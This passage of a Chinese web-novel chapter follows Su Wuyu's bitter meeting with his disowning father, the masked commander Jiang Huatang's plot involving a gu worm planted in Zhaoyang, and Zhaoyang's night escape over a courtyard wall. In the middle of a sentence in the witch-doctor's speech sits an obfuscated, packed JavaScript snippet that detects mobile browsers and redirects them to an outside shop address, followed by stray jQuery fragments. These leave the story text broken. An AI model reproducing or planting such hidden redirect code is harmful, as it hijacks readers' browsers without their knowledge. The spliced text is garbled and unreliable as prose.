苏无虞踏着晨露，来到了一座隐匿于京城僻静处的别院。乌木大门上铜环兽首在微光中泛着冷硬的光泽。一名管家模样的男子，见他到来，连忙上前，引着他穿过了蜿蜒的游廊，来到了院内的后花园。园内草木修剪得一丝不苟，石板路洁净无尘，空气中弥漫着淡淡的檀香。
花园深处，一个穿着紫色锦袍、腰束玉带的中年男子正独自坐在石桌旁，面前摆着一局围棋。他面容清癯，眉宇间带着几分久居上位的威严与疏离，手指间捏着一枚黑子，正凝神思索着棋局。听到脚步声，他并未抬头，只是淡淡地开口，声音平稳无波：“来了。”
苏无虞在离石桌几步远的地方站定，微微颔首，算是回应。他的目光落在棋盘上，黑白棋子交错，局势已然过半。
中年男子落下一子，发出清脆的“啪”声，这才抬眼看向苏无虞，眼神锐利，仿佛能洞穿人心：“近来，过得如何？”语气听不出丝毫关切，更像是在例行公事地询问一件无关紧要的事情。
苏无虞垂眸，看着自己洗得发白的衣袖，声音冷淡：“尚可。”
“硬骨头。”中年男子冷哼一声，并未抬眸看向眼前人。“近来府中发生了许多事，夫人心思郁结，这段时间你就呆在别院，少出门惹事。”
苏无虞指尖微颤，垂在身侧的手悄然攥紧。他抬眼望向石桌后那抹熟悉的紫色身影，喉间涌上一股涩意：“您可知，数月前我在嘉诚县遇袭，险些丧命？”
“哼，”中年男人将手中黑子重重落于棋盘，发出沉闷的响声，“你自小性子倔，夫人不过是让你长些记性，吃些苦头也是应当。”他甚至未曾抬眸看苏无虞一眼，目光始终胶着在棋盘上纵横交错的纹路，“若非看在你母亲临终前的嘱托，你以为这京城，是你能踏足的？”
苏无虞的心像被冰锥狠狠刺穿，连呼吸都带着疼。他想起母亲临终前攥着他的手，含泪嘱咐他定要好好活下去，想起自己被那位夫人派人掳走时的绝望，想起那些鞭痕烙铁在身上留下的狰狞伤疤，想起昭阳为他缝合伤口时颤抖的手……这些在眼前之人眼中，竟都成了“吃些苦头”。
“那夫人派人将我掳走，百般折磨，您也觉得是应当的？”他声音发颤，带着一丝连自己都未察觉的祈求，“试问我做错了什么？又需要长什么记性？”
中年男人终于抬眼，眼神却冷得像淬了冰：“夫人是府中主母，教训不懂规矩的庶子，天经地义。你若安分守己，乖乖待在京郊别院，何至于此？”他顿了顿，语气中带着警告，“我告诉你，如今朝堂局势复杂，府中经不起半点风浪。你给我老实待着，别再给我惹麻烦，否则……休怪我不认你这个儿子。”
“不认我这个儿子……”苏无虞低声重复着这句话，像是在自嘲，又像是在确认。他忽然笑了起来，笑声里带着无尽的悲凉与嘲讽，“父亲从未认过我吧。在你眼中，我不过是母亲留下的一个累赘，是府中的污点。”
中年男子脸色一沉，猛地拍案而起：“放肆！你以为你是谁？若不是看在你母亲的面子，你早就死无葬身之地了！”他指着苏无虞的鼻子，语气严厉，“我再警告你一次，安分守己！你不是想知道你做错了什么吗？我今日就告诉你，你的存在，本身就是最大的错误！”
苏无虞看着眼前这个面目狰狞的男人，心中最后一丝期望也彻底破灭。他缓缓低下头，掩去眸中的痛楚与绝望，声音平静得可怕：“儿子知道了。”
中年男人见他终于服软，冷哼一声，转身拂袖而去，只留下苏无虞一个人站在空荡荡的花园里，任凭晨露打湿他的衣衫。寒风穿过游廊，发出呜咽般的声响，像是在为他哭泣。
他缓缓抬起头，望向灰蒙蒙的天空。苏无虞知道，从这一刻起，他与这个所谓的父亲，再无任何情分可言。他心中只有一个念头，那就是尽快救出昭阳，然后带着她，远远地离开这个令人窒息的京城，再也不回来。
所幸，此次回到这处宅子，本也不是为了与这个，向来就嫌恶他的人续话家常，他想要的，只不过是一个能够靠近缉事厂的身份。
只是，苏无虞不知道，前路等待他的，将会是怎样的狂风暴雨。而江画棠将昭阳软禁在西苑，究竟是为了逼迫他现身，还是另有其他目的？这一切，都还是未知数。
但他也知道，无论前路多么艰难，他都必须走下去，为了昭阳，也为了自己。
与此同时，京城的另一边，缉事厂的暗室里，烛火摇曳，映着江画棠脸上的玄铁鬼面，泛着冷硬的光。他端坐于紫檀木椅上，指尖轻叩着扶手，听着下方锦衣卫的汇报，声音低沉如冰：“没让我失望，来得还算快。”
锦衣卫单膝跪地，头埋得极低：“回督主，苏无虞三日前已入京城，与一名姓陆的药商同行。据眼线回报，他今日去了城郊别院。”
江画棠嘴角勾起一抹冷笑，面具下的眼神锐利如刀：“不算太笨，知道要寻个靠山。”他顿了顿，语气中带着一丝不易察觉的嘲讽，“继续盯着，我要知道他的一举一动。”
“是！”锦衣卫领命，悄无声息地退了出去。
暗室里只剩下江画棠一人，他缓缓起身，走到墙边一幅巨大的舆图前，指尖落在京城的位置，眼神幽深。苏无虞，你终于还是来了。这盘棋，也该到收官的时候了。
就在这时，暗室的门被轻轻推开，一名身着苗疆服饰的老妇人走了进来，正是之前为昭阳下蛊的巫医。她手中捧着一个黑色的瓦罐，罐口用红布封着，隐隐能听到里面传来细微的虫鸣。
“督主，”巫医躬身行礼，声音沙哑，“那姑娘身上的蛊虫，已经完全长成了。”
江画棠转过身，目光落在瓦罐上，眼神复杂：“可还听话？”
“回督主，此蛊名为‘同心蛊’，以精血喂养，与
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550202|204241||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宿主心意相通。如今蛊虫成熟，只需督主一声令下，那姑娘便会对您言听计从，甚至……为您去死。”巫医的声音里带着一丝诡异的兴奋。
江画棠沉默了片刻，指尖摩挲着面具的边缘，声音低沉：“很好。”他顿了顿，又道，“你先下去吧，没有我的命令，不许任何人靠近西苑。”
“是。”巫医再次行礼，捧着瓦罐退了出去。
暗室里再次恢复了寂静，江画棠望着窗外沉沉的夜色，眼神中闪过一丝挣扎。他想起昭阳为他做奶茶时的笑容，想起她为他包扎伤口时的认真，甚至想起她与他争辩时的振振有词……这些画面，像一根根针，刺得他心口发麻。
“同心蛊……”江画棠低声念着这三个字，嘴角勾起一抹自嘲的笑。或许，这样也好。
而身处西苑的昭阳，正坐在院子里头忙活着。西苑的月色总带着几分清寂，昭阳借着廊下灯笼的微光，将最后一根竹篾编入草绳。指尖被磨得发红，她却浑然不觉，只盯着那截被月光镀上银边的墙头——那里爬满了常春藤，枝叶在风中轻轻摇曳，恰好遮住了墙内的视线。
“姑娘，夜深了，该回屋歇着了。”身后传来小丫鬟的声音，带着几分担忧。这半月来，昭阳常以“编草筐打发时间”为由留在院子里，与洒扫的丫鬟们渐渐熟络。昭阳的性子本就直爽，也不端着什么架子，几个丫鬟也同情她的遭遇，偶尔还会抱怨几句“家主规矩太严，连院子都不让姑娘出”。
昭阳回头冲她笑了笑，将草绳藏进袖中：“就回，你看这筐编得怎么样？明日想送给华姨当针线篓。”她故意将话题引开，目光却瞟向院墙后侧——那里是一片茂密的竹林，白日里能听见风吹竹叶的沙沙声，夜里则漆黑一片，仿佛能吞噬一切声响。
小丫鬟果然被草筐吸引，蹲下身啧啧称赞：“姑娘手真巧，这花样编得比集市上卖的还好看！”她没注意到，昭阳的指尖正悄悄掐算着墙角那棵老槐树的位置——树干斜斜伸向墙头，最低的枝桠离地面不过丈许，是翻墙的绝佳借力点。
“这剪子有些钝了，能帮我再去取一把新的吗？”昭阳言语诚恳，小丫鬟自然没有怀疑，点着头变打算进屋。
待丫鬟离开，昭阳立刻将草绳系在腰间，借着夜色摸到槐树下。她深吸一口气，想起三日前偷听到的对话：江画棠为了漕运案，近日会频繁出入皇宫，今夜更是要在宫中值夜。这是她唯一的机会。
手指抠住树干的裂纹，她像只灵巧的猫，悄无声息地向上攀爬。槐树枝桠粗壮，恰好能遮住她的身影。爬到墙头时，她小心拨开常春藤，探头望向墙外——竹林近在咫尺，墨绿的竹叶在月光下泛着冷光，仿佛一道天然的屏障。
“跳！”她在心里给自己打气，将草绳一端系在树枝上，另一端抛向墙外。绳子在空中划出一道弧线，稳稳落在竹林边缘。她深吸一口气，抓着绳子向下滑去。